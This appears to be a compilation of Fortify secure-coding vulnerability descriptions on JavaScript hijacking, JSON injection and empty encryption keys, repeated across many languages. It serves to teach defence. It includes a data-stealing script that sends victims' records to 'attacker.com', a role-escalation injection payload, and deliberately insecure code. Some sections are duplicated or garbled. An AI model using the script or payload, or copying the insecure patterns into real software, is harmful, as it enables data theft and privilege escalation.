Microsoft AJAX.NET (Atlas) uses JSON to transfer data between the server and the client. The framework produces responses comprised of valid JavaScript that can be evaluated using a <script> tag and is therefore vulnerable to JavaScript hijacking [1]. By default, the framework use the POST method to submit requests, which makes it difficult to generate a request from a malicious <script> tag (since <script> tags only generate GET requests). However, Microsoft AJAX.NET does provide mechanisms for using GET requests. In fact, many experts encourage programmers to use GET requests in order to leverage browser caching and improve performance.

An application may be vulnerable to JavaScript hijacking if it: 1) Uses JavaScript objects as a data transfer format 2) Handles confidential data. Because JavaScript hijacking vulnerabilities do not occur as a direct result of a coding mistake, the Fortify Secure Coding Rulepacks call attention to potential JavaScript hijacking vulnerabilities by identifying code that appears to generate JavaScript in an HTTP response.

Web browsers enforce the Same Origin Policy in order to protect users from malicious websites. The Same Origin Policy requires that, in order for JavaScript to access the contents of a web page, both the JavaScript and the web page must originate from the same domain. Without the Same Origin Policy, a malicious website could serve up JavaScript that loads sensitive information from other websites using a client's credentials, culls through it, and communicates it back to the attacker. JavaScript hijacking allows an attacker to bypass the Same Origin Policy in the case that a web application uses JavaScript to communicate confidential information. The loophole in the Same Origin Policy is that it allows JavaScript from any website to be included and executed in the context of any other website. Even though a malicious site cannot directly examine any data loaded from a vulnerable site on the client, it can still take advantage of this loophole by setting up an environment that allows it to witness the execution of the JavaScript and any relevant side effects it may have. Since many Web 2.0 applications use JavaScript as a data transport mechanism, they are often vulnerable while traditional web applications are not.

The most popular format for communicating information in JavaScript is JavaScript Object Notation (JSON). The JSON RFC defines JSON syntax to be a subset of JavaScript object literal syntax. JSON is based on two types of data structures: arrays and objects. Any data transport format where messages can be interpreted as one or more valid JavaScript statements is vulnerable to JavaScript hijacking. JSON makes JavaScript hijacking easier by the fact that a JSON array stands on its own as a valid JavaScript statement. Since arrays are a natural form for communicating lists, they are commonly used wherever an application needs to communicate multiple values. Put another way, a JSON array is directly vulnerable to JavaScript hijacking. A JSON object is only vulnerable if it is wrapped in some other JavaScript construct that stands on its own as a valid JavaScript statement.

Example 1: The following example begins by showing a legitimate JSON interaction between the client and server components of a web application used to manage sales leads. It goes on to show how an attacker may mimic the client and gain access to the confidential data the server returns. Note that this example is written for Mozilla-based browsers. Other mainstream browsers do not allow native constructors to be overridden when an object is created without the use of the new operator.

The client requests data from a server and evaluates the result as JSON with the following code:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

When the code runs, it generates an HTTP request which appears as the following:

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

(In this HTTP response and the one that follows we have elided HTTP headers that are not directly relevant to this explanation.)
The server responds with an array in JSON format:

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

In this case, the JSON contains confidential information associated with the current user (a list of sales leads). Other users cannot access this information without knowing the user's session identifier. (In most modern web applications, the session identifier is stored as a cookie.) However, if a victim visits a malicious website, the malicious site can retrieve the information using JavaScript hijacking. If a victim can be tricked into visiting a web page that contains the following malicious code, the victim's lead information will be sent to the attacker's web site.

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

The malicious code uses a script tag to include the JSON object in the current page. The web browser will send up the appropriate session cookie with the request. In other words, this request will be handled just as though it had originated from the legitimate application.

When the JSON array arrives on the client, it will be evaluated in the context of the malicious page. In order to witness the evaluation of the JSON, the malicious page has redefined the JavaScript function used to create new objects. In this way, the malicious code has inserted a hook that allows it to get access to the creation of each object and transmit the object's contents back to the malicious site. Other attacks might override the default constructor for arrays instead. Applications that are built to be used in a mashup sometimes invoke a callback function at the end of each JavaScript message. The callback function is meant to be defined by another application in the mashup. A callback function makes a JavaScript hijacking attack a trivial affair -- all the attacker has to do is define the function. An application can be mashup-friendly or it can be secure, but it cannot be both. If the user is not logged into the vulnerable site, the attacker may compensate by asking the user to log in and then displaying the legitimate login page for the application.

This is not a phishing attack -- the attacker does not gain access to the user's credentials -- so anti-phishing countermeasures will not be able to defeat the attack. More complex attacks could make a series of requests to the application by using JavaScript to dynamically generate script tags. This same technique is sometimes used to create application mashups. The only difference is that, in this mashup scenario, one of the applications involved is malicious.

An application may be vulnerable to JavaScript hijacking if it: 1) Uses JavaScript objects as a data transfer format 2) Handles confidential data. Because JavaScript hijacking vulnerabilities do not occur as a direct result of a coding mistake, the Fortify Secure Coding Rulepacks call attention to potential JavaScript hijacking vulnerabilities by identifying code that appears to generate JavaScript in an HTTP response.

Web browsers enforce the Same Origin Policy to protect users from malicious websites. The Same Origin Policy requires that, in order for JavaScript to access the contents of a web page, both the JavaScript and the web page must originate from the same domain. Without the Same Origin Policy, a malicious website could serve up JavaScript that loads sensitive information from other websites using a client's credentials, culls through it, and communicates it back to the attacker. JavaScript hijacking allows an attacker to bypass the Same Origin Policy in the case that a web application uses JavaScript to communicate confidential information. The loophole in the Same Origin Policy is that it allows JavaScript from any website to be included and executed in the context of any other website. Even though a malicious site cannot directly examine any data loaded from a vulnerable site on the client, it can still take advantage of this loophole by setting up an environment that allows it to witness the execution of the JavaScript and any relevant side effects it may have. Since many Web 2.0 applications use JavaScript as a data transport mechanism, they are often vulnerable while traditional web applications are not.

The most popular format for communicating information in JavaScript is JavaScript Object Notation (JSON). The JSON RFC defines JSON syntax to be a subset of JavaScript object literal syntax. JSON is based on two types of data structures: arrays and objects. Any data transport format where messages can be interpreted as one or more valid JavaScript statements is vulnerable to JavaScript hijacking. JSON makes JavaScript hijacking easier by the fact that a JSON array stands on its own as a valid JavaScript statement. Since arrays are a natural form for communicating lists, they are commonly used wherever an application needs to communicate multiple values. Put another way, a JSON array is directly vulnerable to JavaScript hijacking. A JSON object is only vulnerable if it is wrapped in some other JavaScript construct that stands on its own as a valid JavaScript statement.

Example 1: The following example begins by showing a legitimate JSON interaction between the client and server components of a web application used to manage sales leads. It goes on to show how an attacker may mimic the client and gain access to the confidential data the server returns. Note that this example is written for Mozilla-based browsers. Other mainstream browsers do not allow native constructors to be overridden when an object is created without the use of the new operator.

The client requests data from a server and evaluates the result as JSON with the following code:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

When the code runs, it generates an HTTP request which appears as the following:

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

(In this HTTP response and the one that follows we have elided HTTP headers that are not directly relevant to this explanation.)
The server responds with an array in JSON format:

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

In this case, the JSON contains confidential information associated with the current user (a list of sales leads). Other users cannot access this information without knowing the user's session identifier. (In most modern web applications, the session identifier is stored as a cookie.) However, if a victim visits a malicious website, the malicious site can retrieve the information using JavaScript hijacking. If a victim can be tricked into visiting a web page that contains the following malicious code, the victim's lead information will be sent to the attacker's web site.

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

The malicious code uses a script tag to include the JSON object in the current page. The web browser will send up the appropriate session cookie with the request. In other words, this request will be handled just as though it had originated from the legitimate application.

When the JSON array arrives on the client, it will be evaluated in the context of the malicious page. In order to witness the evaluation of the JSON, the malicious page has redefined the JavaScript function used to create new objects. In this way, the malicious code has inserted a hook that allows it to get access to the creation of each object and transmit the object's contents back to the malicious site. Other attacks might override the default constructor for arrays instead. Applications that are built to be used in a mashup sometimes invoke a callback function at the end of each JavaScript message. The callback function is meant to be defined by another application in the mashup. A callback function makes a JavaScript hijacking attack a trivial affair -- all the attacker has to do is define the function. An application can be mashup-friendly or it can be secure, but it cannot be both. If the user is not logged into the vulnerable site, the attacker may compensate by asking the user to log in and then displaying the legitimate login page for the application.

This is not a phishing attack -- the attacker does not gain access to the user's credentials -- so anti-phishing countermeasures will not be able to defeat the attack. More complex attacks could make a series of requests to the application by using JavaScript to dynamically generate script tags. This same technique is sometimes used to create application mashups. The only difference is that, in this mashup scenario, one of the applications involved is malicious.

JSON injection occurs when:

1. Data enters a program from an untrusted source.


2. The data is written to a JSON stream.

Applications typically use JSON to store data or send messages. When used to store data, JSON is often treated like cached data and may potentially contain sensitive information. When used to send messages, JSON is often used in conjunction with a RESTful service and can be used to transmit sensitive information such as authentication credentials.

The semantics of JSON documents and messages can be altered if an application constructs JSON from unvalidated input. In a relatively benign case, an attacker may be able to insert extraneous elements that cause an application to throw an exception while parsing a JSON document or request. In a more serious case, such as ones that involves JSON injection, an attacker may be able to insert extraneous elements that allow for the predictable manipulation of business critical values within a JSON document or request. In some cases, JSON injection can lead to cross-site scripting or dynamic code evaluation.

Example 1: The following C# code uses JSON.NET to serialize user account authentication information for non-privileged users (those with a role of "default" as opposed to privileged users with a role of "admin") from user-controlled input variables username and password to the JSON file located at C:\user_info.json:

...

StringBuilder sb = new StringBuilder();
StringWriter sw = new StringWriter(sb);

using (JsonWriter writer = new JsonTextWriter(sw))
{
  writer.Formatting = Formatting.Indented;

  writer.WriteStartObject();

    writer.WritePropertyName("role");
    writer.WriteRawValue("\"default\"");

    writer.WritePropertyName("username");
    writer.WriteRawValue("\"" + username + "\"");

    writer.WritePropertyName("password");
    writer.WriteRawValue("\"" + password + "\"");

  writer.WriteEndObject();
}

File.WriteAllText(@"C:\user_info.json", sb.ToString());

Yet, because the JSON serialization is performed using JsonWriter.WriteRawValue(), the untrusted data in username and password will not be validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, possibly changing the structure of the serialized JSON. In this example, if the non-privileged user mallory with password Evil123! were to append ","role":"admin to her username when entering it at the prompt that sets the value of the username variable, the resulting JSON saved to C:\user_info.json would be:

{
  "role":"default",
  "username":"mallory",
  "role":"admin",
  "password":"Evil123!"
}

If this serialized JSON file were then deserialized to a Dictionary object with JsonConvert.DeserializeObject() as so:

String jsonString = File.ReadAllText(@"C:\user_info.json");

Dictionary<string, string> userInfo = JsonConvert.DeserializeObject<Dictionary<string, strin>>(jsonString);

The resulting values for the username, password, and role keys in the Dictionary object would be mallory, Evil123!, and admin respectively. Without further verification that the deserialized JSON values are valid, the application will incorrectly assign user mallory "admin" privileges.

JSON injection occurs when:

1. Data enters a program from an untrusted source.


2. The data is written to a JSON stream.

Applications typically use JSON to store data or send messages. When used to store data, JSON is often treated like cached data and might contain sensitive information. When used to send messages, JSON is often used in conjunction with a RESTful service and can transmit sensitive information such as authentication credentials.

Attackers can alter the semantics of JSON documents and messages if an application constructs JSON from unvalidated input. In a relatively benign case, an attacker can insert extraneous elements that cause an application to throw an exception while parsing a JSON document or request. In more serious cases, such as those that involves JSON injection, an attacker can insert extraneous elements that allow for the predictable manipulation of business critical values within a JSON document or request. Sometimes JSON injection can lead to cross-site scripting or dynamic code evaluation.

Example 1: The following code serializes user account authentication information for non-privileged users (those with a role of "default" as opposed to privileged users with a role of "admin") from user-controlled input variables username and password to the JSON file located at ~/user_info.json:

    ...
    func someHandler(w http.ResponseWriter, r *http.Request){
        r.parseForm()
        username := r.FormValue("username")
        password := r.FormValue("password")
        ...
        jsonString := `{
        "username":"` + username + `",
        "role":"default"
        "password":"` + password + `",
        }`
        ...
        f, err := os.Create("~/user_info.json")
        defer f.Close()

        jsonEncoder := json.NewEncoder(f)
        jsonEncoder.Encode(jsonString)
    }
    

Because the code performs the JSON serialization using string concatenation, the untrusted data in username and password is not validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, which can possibly change the serialized JSON structure. In this example, if the non-privileged user mallory with password Evil123! appended ","role":"admin when she entered her username, the resulting JSON saved to ~/user_info.json would be:

    {
    "username":"mallory",
    "role":"default",
    "password":"Evil123!",
    "role":"admin"
    }
    

Without further verification that the deserialized JSON values are valid, the application unintentionally assigns user mallory "admin" privileges.

JSON injection occurs when:

1. Data enters a program from an untrusted source.


2. The data is written to a JSON stream.

Applications typically use JSON to store data or send messages. When used to store data, JSON is often treated like cached data and may potentially contain sensitive information. When used to send messages, JSON is often used in conjunction with a RESTful service and can be used to transmit sensitive information such as authentication credentials.

The semantics of JSON documents and messages can be altered if an application constructs JSON from unvalidated input. In a relatively benign case, an attacker may be able to insert extraneous elements that cause an application to throw an exception while parsing a JSON document or request. In a more serious case, such as ones that involves JSON injection, an attacker may be able to insert extraneous elements that allow for the predictable manipulation of business critical values within a JSON document or request. In some cases, JSON injection can lead to cross-site scripting or dynamic code evaluation.

Example 1: The following JavaScript code uses jQuery to parse JSON where a value comes from a URL:

var str = document.URL;
var url_check = str.indexOf('name=');
var name = null;
if (url_check > -1) {
  name =  decodeURIComponent(str.substring((url_check+5), str.length));
}

$(document).ready(function(){
  if (name !== null){
    var obj = jQuery.parseJSON('{"role": "user", "name" : "' + name + '"}');
    ...
  }
  ...
});

Here the untrusted data in name will not be validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, possibly changing the structure of the serialized JSON. In this example, if the non-privileged user mallory were to append ","role":"admin to the name parameter in the URL, the JSON would become:

{
  "role":"user",
  "username":"mallory",
  "role":"admin"
}

This is parsed by jQuery.parseJSON() and set to a plain object, meaning that obj.role would now return "admin" instead of "user"

JSON injection occurs when:

1. Data enters a program from an untrusted source.


2. The data is written to a JSON stream.

Applications typically use JSON to store data or send messages. When used to store data, JSON is often treated like cached data and may potentially contain sensitive information. When used to send messages, JSON is often used in conjunction with a RESTful service and can be used to transmit sensitive information such as authentication credentials.

The semantics of JSON documents and messages can be altered if an application constructs JSON from unvalidated input. In a relatively benign case, an attacker may be able to insert extraneous elements that cause an application to throw an exception while parsing a JSON document or request. In a more serious case, such as ones that involves JSON injection, an attacker may be able to insert extraneous elements that allow for the predictable manipulation of business critical values within a JSON document or request. In some cases, JSON injection can lead to cross-site scripting or dynamic code evaluation.

Example 1: The following Objective-C code serializes user account authentication information for non-privileged users (those with a role of "default" as opposed to privileged users with a role of "admin") to JSON from user-controllable fields _usernameField and _passwordField:

...

NSString * const jsonString = [NSString stringWithFormat: @"{\"username\":\"%@\",\"password\":\"%@\",\"role\":\"default\"}" _usernameField.text, _passwordField.text];

Yet, because the JSON serialization is performed using NSString.stringWithFormat:, the untrusted data in _usernameField and _passwordField will not be validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, possibly changing the structure of the serialized JSON. In this example, if the non-privileged user mallory with password Evil123! were to append ","role":"admin to her username when entering it into the _usernameField field, the resulting JSON would be:

{
  "username":"mallory",
  "role":"admin",
  "password":"Evil123!",
  "role":"default"
}

If this serialized JSON string were then deserialized to an NSDictionary object with NSJSONSerialization.JSONObjectWithData: as so:

NSError *error;
NSDictionary *jsonData = [NSJSONSerialization JSONObjectWithData:[jsonString dataUsingEncoding:NSUTF8StringEncoding] options:NSJSONReadingAllowFragments error:&error];

The resulting values for username, password, and role in the NSDictionary object would be mallory, Evil123!, and admin respectively. Without further verification that the deserialized JSON values are valid, the application will incorrectly assign user mallory "admin" privileges.

JSON injection occurs when:

1. Data enters a program from an untrusted source.


2. The data is written to a JSON stream.

Applications typically use JSON to store data or send messages. When used to store data, JSON is often treated like cached data and may potentially contain sensitive information. When used to send messages, JSON is often used in conjunction with a RESTful service and can be used to transmit sensitive information such as authentication credentials.

The semantics of JSON documents and messages can be altered if an application constructs JSON from unvalidated input. In a relatively benign case, an attacker may be able to insert extraneous elements that cause an application to throw an exception while parsing a JSON document or request. In a more serious case, such as ones that involves JSON injection, an attacker may be able to insert extraneous elements that allow for the predictable manipulation of business critical values within a JSON document or request. In some cases, JSON injection can lead to cross-site scripting or dynamic code evaluation.

Example 1: The following python code update a json file with an untrusted value comes from a URL:

import json
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs

url = 'https://www.example.com/some_path?name=some_value'
parsed_url = urlparse(url)
untrusted_values = parse_qs(parsed_url.query)['name'][0]

with open('data.json', 'r') as json_File:    
    data = json.load(json_File)

    data['name']= untrusted_values
    
with open('data.json', 'w') as json_File:
    json.dump(data, json_File)

...

Here the untrusted data in name will not be validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, possibly changing the structure of the serialized JSON. In this example, if the non-privileged user mallory were to append ","role":"admin to the name parameter in the URL, the JSON would become:

{
"role":"user",
"username":"mallory",
"role":"admin"
}

The JSON file is now tampered with malicious data and the user has a privileged access of "admin" instead of "user"

JSON injection occurs when:

1. Data enters a program from an untrusted source.


2. The data is written to a JSON stream.

Applications typically use JSON to store data or send messages. When used to store data, JSON is often treated like cached data and may potentially contain sensitive information. When used to send messages, JSON is often used in conjunction with a RESTful service and can be used to transmit sensitive information such as authentication credentials.

The semantics of JSON documents and messages can be altered if an application constructs JSON from unvalidated input. In a relatively benign case, an attacker may be able to insert extraneous elements that cause an application to throw an exception while parsing a JSON document or request. In a more serious case, such as ones that involves JSON injection, an attacker may be able to insert extraneous elements that allow for the predictable manipulation of business critical values within a JSON document or request. In some cases, JSON injection can lead to cross-site scripting or dynamic code evaluation.

JSON injection occurs when:

1. Data enters a program from an untrusted source.


2. The data is written to a JSON stream.

Applications typically use JSON to store data or send messages. When used to store data, JSON is often treated like cached data and may potentially contain sensitive information. When used to send messages, JSON is often used in conjunction with a RESTful service and can be used to transmit sensitive information such as authentication credentials.

The semantics of JSON documents and messages can be altered if an application constructs JSON from unvalidated input. In a relatively benign case, an attacker may be able to insert extraneous elements that cause an application to throw an exception while parsing a JSON document or request. In a more serious case, such as ones that involves JSON injection, an attacker may be able to insert extraneous elements that allow for the predictable manipulation of business critical values within a JSON document or request. In some cases, JSON injection can lead to cross-site scripting or dynamic code evaluation.

Example 1: The following Swift code serializes user account authentication information for non-privileged users (those with a role of "default" as opposed to privileged users with a role of "admin") to JSON from user-controllable fields usernameField and passwordField:

...
let jsonString : String = "{\"username\":\"\(usernameField.text)\",\"password\":\"\(passwordField.text)\",\"role\":\"default\"}"

Yet, because the JSON serialization is performed using string interpolation, the untrusted data in usernameField and passwordField will not be validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, possibly changing the structure of the serialized JSON. In this example, if the non-privileged user mallory with password Evil123! were to append ","role":"admin to her username when entering it into the usernameField field, the resulting JSON would be:

{
  "username":"mallory",
  "role":"admin",
  "password":"Evil123!",
  "role":"default"
}

If this serialized JSON string were then deserialized to an NSDictionary object with NSJSONSerialization.JSONObjectWithData: as so:

var error: NSError?
var jsonData : NSDictionary = NSJSONSerialization.JSONObjectWithData(jsonString.dataUsingEncoding(NSUTF8StringEncoding), options: NSJSONReadingOptions.MutableContainers, error: &error) as NSDictionary

The resulting values for username, password, and role in the NSDictionary object would be mallory, Evil123!, and admin respectively. Without further verification that the deserialized JSON values are valid, the application will incorrectly assign user mallory "admin" privileges.

It is never a good idea to use an empty encryption key because it significantly reduces the protection afforded by a good encryption algorithm, and it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account that is protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following uses an empty encryption key:

...
encryptionKey = "".
...

Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.

It is never a good idea to use an empty encryption key because it significantly reduces the protection afforded by a good encryption algorithm, and it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account that is protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using an empty encryption key:

    ...
    var encryptionKey:String = "";
    var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
    ...
    var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
    ...

Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.

It is never a good idea to use an empty encryption key. Not only does using an empty encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses an empty encryption key:

...
char encryptionKey[] = "";
...

Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the program ships, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.

It is never a good idea to use an empty encryption key because it significantly reduces the protection afforded by a good encryption algorithm, and it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account that is protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using an empty encryption key:

	...
	<cfset encryptionKey = "" />
	<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
	...

Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.

It is never a good idea to use an empty encryption key because it significantly reduces the protection afforded by a good encryption algorithm, and it also makes fixing the problem extremely difficult. After the offending code is in production, changing the empty encryption key requires a software patch. If an account that is protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using an empty encryption key:

...
key := []byte("");
block, err := aes.NewCipher(key)
...

Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, changing the empty encryption key requires a software patch, they could extract evidence of the use of an empty encryption key.

It is never a good idea to use an empty encryption key because it significantly reduces the protection afforded by a good encryption algorithm, and it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account that is protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using an empty encryption key:

  ...
  var crypto = require('crypto');
  var encryptionKey = "";
  var algorithm = 'aes-256-ctr';
  var cipher = crypto.createCipher(algorithm, encryptionKey);
  ...
  

Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.

It is never a good idea to use an empty encryption key. Not only does using an empty encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account that is protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using an empty encryption key:

...
CCCrypt(kCCEncrypt,
      kCCAlgorithmAES,
      kCCOptionPKCS7Padding,
      "",
      0,
      iv,
      plaintext,
      sizeof(plaintext),
      ciphertext,
      sizeof(ciphertext),
      &numBytesEncrypted);
...

Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.

It is never a good idea to use an empty encryption key. Not only does using an empty encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code initializes an encryption key variable to an empty string.

...
$encryption_key = '';

$filter = new Zend_Filter_Encrypt($encryption_key);

$filter->setVector('myIV');

$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...

Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the program ships, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.

It is never a good idea to use an empty encryption key because it significantly reduces the protection afforded by a good encryption algorithm, and it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account that is protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.



Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.

It is never a good idea to use an empty encryption key. Not only does using an empty encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code initializes an encryption key variable to an empty string.

...
from Crypto.Ciphers import AES
cipher = AES.new("", AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...

Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the program ships, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.

It is never a good idea to use an empty encryption key. Not only does using an empty encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a password-based key derivation function with a key length of zero, which produces an empty encryption key:

require 'openssl'
...
dk = OpenSSL::PKCS5::pbkdf2_hmac_sha1(password, salt, 100000, 0) # returns an empty string
...

Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the program ships, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.

It is never a good idea to use an empty encryption key. Not only does using an empty encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using an empty encryption key:

...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"",
0,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...

Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the program ships, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.

It is never a good idea to use an empty encryption key because it significantly reduces the protection afforded by a good encryption algorithm, and it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account that is protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using an empty encryption key:

...
Dim encryptionKey As String
Set encryptionKey = ""
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
  AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
  ...
Exit Sub
...

Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.

